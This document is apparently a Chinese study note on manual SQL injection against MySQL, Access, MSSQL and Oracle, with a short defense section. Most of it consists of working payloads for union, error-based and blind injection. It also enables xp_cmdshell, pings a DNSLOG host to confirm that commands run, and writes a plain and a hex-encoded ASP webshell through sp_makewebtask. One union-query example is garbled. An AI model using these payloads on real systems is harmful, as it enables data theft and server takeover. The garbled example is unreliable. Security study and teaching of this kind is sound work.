No. 31 笔记 | Web安全-SQL手工注入技术学习 Part 2

一、研究背景

  1. 背景介绍

    SQL注入是一种常见且高危的Web安全漏洞。攻击者可以通过构造恶意SQL查询语句来绕过验证机制,执行未授权操作,如获取敏感信息、篡改数据库内容甚至控制服务器。

  2. 研究内容

    本笔记探讨以下数据库的手工注入技术:

    • MySQL
    • Access
    • MSSQL
    • Oracle
      覆盖了联合查询注入、报错注入、盲注注入、UA注入、Referer注入、DNSLOG外带、Cookie注入、宽字节注入、堆叠注入等方法。
  3. 相关研究

    目前的主要研究集中在SQL注入的检测和防御技术:

    • 参数化查询:避免动态拼接用户输入。
    • 输入验证:严格过滤SQL关键字符。
    • 输出编码:对输出数据进行编码以防止攻击扩散。

二、SQL注入技术详解

1. MySQL注入

  1. 联合查询注入

    • 利用UNION操作符,将多条SELECT语句的结果合并。
    • 步骤
      1. 判断列数 :利用ORDER BY语句逐步增加字段数,观察是否报错。
      2. 构造查询 :如:UNION SELECT 1,2,3--,逐步替换为敏感数据字段。
      3. 获取数据 :在显示字段中插入database()version()等函数查看信息。
  2. 报错注入

    • 方法 :利用MySQL特性,构造错误表达式来暴露数据。
      • 示例:EXTRACTVALUE(1, 'XPath语法错误')UPDATEXML(1, 'XPath错误', 1)
  3. 盲注注入

    • 布尔盲注 :通过页面返回的不同响应判断数据。
      • 示例:AND (SELECT 'a'='a')-- 页面正常;AND (SELECT 'a'='b')-- 页面异常。
    • 时间盲注 :利用SLEEP()函数延迟判断。
      • 示例:IF(条件, SLEEP(5), 0)--
  4. 其他技术

    • UA/Referer注入:通过修改HTTP请求头进行注入。
    • DNSLOG外带:将数据通过DNS请求传出。
    • Cookie注入 :在Cookie参数中嵌入注入语句。
    • 宽字节注入:利用GBK编码将字符解码为SQL语句。
    • 堆叠注入 :通过分号执行多条SQL语句。
  5. Getshell

    • 目标:利用文件读写权限获取Webshell。
    • 方法LOAD_FILE()读取敏感文件,或INTO OUTFILE写入后门文件。

2. Access注入

  1. 基本流程

    • 判断数据库类型、表名、列名及其数据。
    • 通过页面反馈逐步确认。
  2. 逐字破解法

    • 步骤
      1. 猜表名AND EXISTS (SELECT * FROM 表名),逐步尝试常见表名。
      2. 猜列名AND EXISTS (SELECT 列名 FROM 表名),逐步尝试常见列名。
      3. 获取数据AND (SELECT TOP 1 列名 FROM 表名) = 'value'

3. MSSQL注入

  1. 报错注入

    • 方法 :通过错误信息回显数据。
      • 示例:CONVERT(int, 'a')1/0
  2. 盲注注入

    • 利用内置函数逐步判断数据:
      • 示例:IF(SUBSTRING((SELECT 数据), 1, 1)='a', WAITFOR DELAY '0:0:5', 0)--
  3. 命令执行

    • 启用xp_cmdshell,执行系统命令。
      • 示例:

        sql 复制代码
        EXEC sp_configure 'show advanced options', 1;
        RECONFIGURE;
        EXEC sp_configure 'xp_cmdshell', 1;
        EXEC xp_cmdshell 'ping example.com';
  4. 写入Webshell

    • 利用sp_makewebtask创建恶意文件:

      sql 复制代码
      EXEC sp_makewebtask 'C:\webshell.asp', 'SELECT ''<%eval request("cmd")%>''';

4. Oracle注入

  1. 报错注入

    • 利用函数dbms_utility.sqlid_to_sqlhash()制造错误:
      • 示例:SELECT dbms_utility.sqlid_to_sqlhash('错误') FROM dual;
  2. 盲注注入

    • 使用字符串截取函数判断:
      • 示例:AND SUBSTR((SELECT username FROM ALL_USERS WHERE ROWNUM=1), 1, 1)='A'

三、防御策略

  1. 过滤SQL特殊字符

    • 使用白名单模式验证输入。
    • ', ;, --, /*等特殊字符进行转义。
  2. 参数化查询

    • 利用预编译语句绑定参数,避免直接拼接用户输入:
      • 示例(PHP PDO):

        php 复制代码
        $stmt = $pdo->prepare('SELECT * FROM users WHERE username = :username');
        $stmt->execute(['username' => $input]);
  3. 使用存储过程

    • 通过封装数据库操作,减少直接操作SQL的风险。
  4. 最小化权限

    • 限制数据库用户权限,仅允许必要的读写操作。

关键问题及回答

问题1:MySQL注入中的联合查询注入是如何实现的?

联合查询注入通过构造联合查询语句,利用数据库的列数错误获取数据。具体步骤如下:

  1. 判断列数

    • 构造查询语句,利用ORDER BY子句判断目标表的列数。
    • 示例:
      ORDER BY字段数为3时,页面正常;字段数为4时,页面报错,说明目标表有3列。
  2. 构造联合查询

    • 利用UNION SELECT语句构造包含多个列的查询。

    • 示例:

      sql 复制代码
      'UNION SELECT 1,2,3 FROM (SELECT 1) UNION SELECT 1,2,3 FROM (SELECT 1) UNION SELECT 1,2,3 FROM (SELECT 1)'
  3. 执行查询

    • 将联合查询语句发送至目标网站,利用列数错误引发的报错信息获取数据。

问题2:在Access注入中,如何利用逐字破解法获取表名和列名?

  1. 查表

    • 构造查询语句,利用EXISTS语句判断表名存在性。

    • 示例:

      sql 复制代码
      AND EXISTS (SELECT * FROM 表名)
    • 替换表名为常见名称(如adminuser等),直到页面返回正常,确定表名存在。

  2. 查列

    • 确认表名后,利用EXISTS语句判断列名存在性。

    • 示例:

      sql 复制代码
      AND EXISTS (SELECT 列名 FROM 表名)
    • 替换列名为常见名称(如adminpassword等),直到页面返回正常,确定列名存在。

  3. 获取数据

    • 确认表名和列名后,构造查询语句逐步获取数据。

    • 示例:

      sql 复制代码
      AND (SELECT TOP 1 LEN(列名) FROM 表名) = 5
    • 通过替换列名,判断长度或内容获取目标数据。


问题3:MSSQL注入中的命令执行是如何实现的?

  1. 开启xp_cmdshell

    • 利用sp_configure系统存储过程启用命令执行功能。

    • 示例:

      sql 复制代码
      EXEC sp_configure 'show advanced options', 1;  
      RECONFIGURE;  
      EXEC sp_configure 'xp_cmdshell', 1;  
      RECONFIGURE;
  2. 执行系统命令

    • 通过xp_cmdshell执行命令,例如ping命令,验证是否成功执行。

    • 示例:

      sql 复制代码
      EXEC master..xp_cmdshell 'ping teki6x.dnslog.cn';
  3. 写入一句话木马

    • 利用sp_makewebtask或存储过程向目标写入ASP/ASPX木马文件。

    • 示例:

      sql 复制代码
      DECLARE @s NVARCHAR(4000);
      SELECT @s = 0x730065006C00650063007400200027003C00250045007800650063007500740065002800720065007100750065007300740028002200610022002900290025003E000D000A002700;
      EXEC sp_makewebtask 'C:\webshell.asp', @s;

通过上述步骤,攻击者可以在MSSQL数据库中执行任意系统命令并获取系统权限。


四、总结与反思

  1. 总结

    • 本文全面梳理了SQL注入技术,涵盖MySQL、Access、MSSQL和Oracle的常见注入方法。
    • 提供了大量实战案例,展示了如何手工执行注入攻击并绕过安全防护。
  2. 反思

    • 防御措施需要多层次部署,单一防护手段难以完全防范。
    • 检测和防御技术需要结合AI和自动化工具进一步提升效率。
  3. 建议

    • 开发过程中严格执行输入验证和参数化查询。
    • 定期进行安全测试和漏洞扫描。
相关推荐
网安-轩逸25 分钟前
网络安全中的机器学习
网络·安全·web安全
黑客Jack44 分钟前
Python在网络安全中的应用 python与网络安全
python·web安全·php
StickToForever1 小时前
第2章 信息技术发展(二)
经验分享·笔记·学习·职场和发展
huangyuchi.4 小时前
二叉搜索树的实现(C++)
开发语言·数据结构·c++·笔记
MUTA️6 小时前
VMamba论文精读笔记
人工智能·笔记·深度学习·计算机视觉
wayuncn7 小时前
网络安全等级保护测评(等保测评):全面指南与准备要点
安全·web安全·网络安全·等保测评·等保
垚垚 Securify 前沿站10 小时前
深入了解 AppScan 工具的使用:筑牢 Web 应用安全防线
运维·前端·网络·安全·web安全·系统安全
CSDN_PBB11 小时前
[STM32 - 野火] - - - 固件库学习笔记 - - - 十五.设置FLASH的读写保护及解除
笔记·stm32·学习
钝挫力PROGRAMER14 小时前
SpringBoot中Mybatis记录执行sql日志
spring boot·sql·mybatis